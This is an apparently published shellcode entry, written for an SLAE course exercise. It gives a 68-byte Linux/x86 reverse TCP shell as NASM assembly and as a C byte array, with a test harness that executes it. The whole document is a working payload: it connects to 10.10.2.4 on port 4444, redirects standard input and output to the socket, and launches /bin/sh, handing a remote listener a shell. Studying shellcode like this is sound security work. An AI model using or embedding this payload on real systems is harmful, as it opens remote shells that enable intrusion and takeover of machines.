Linux/x86 - Reverse (10.10.2.4:4444/TCP) Shell Shellcode (68 bytes)

/*
; Title     : Linux/x86 - Reverse TCP Shell Shellcode (68 bytes)
; Date      : May, 2018
; Author    : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com
; Twitter   : @nunof11
; SLAE ID   : SLAE-1112
; Size      : 68 bytes
; Tested on : i686 GNU/Linux

section .text

global _start

_start:
	xor ecx, ecx
	mul ecx

	mov al, 0x66
	push ebx
	inc ebx
	push ebx
	push 0x2
	mov ecx, esp
	int 0x80

	pop ecx
        xchg eax, ebx
loop:
	mov al, 0x3f
        int 0x80
        dec ecx
        jns loop

	mov al, 0x66
	dec ebx
	push 0x04020a0a	 ; IP
	push word 0x5c11 ; Port
	push bx
	mov ecx,esp
	push 0x10
	push ecx
	inc ebx
	push ebx
	mov ecx,esp
	int 0x80

	mov al, 0x0b
	xor ecx, ecx
	push ecx
	push dword 0x68732f2f
	push dword 0x6e69622f
	mov ebx, esp
	int 0x80

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \
"\x31\xc9\xf7\xe1\xb0\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x4b\x68\x0a\x0a\x02\x04\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x43\x53\x89\xe1\xcd\x80\xb0\x0b\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

void main()
{
	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())shellcode;
	ret();
}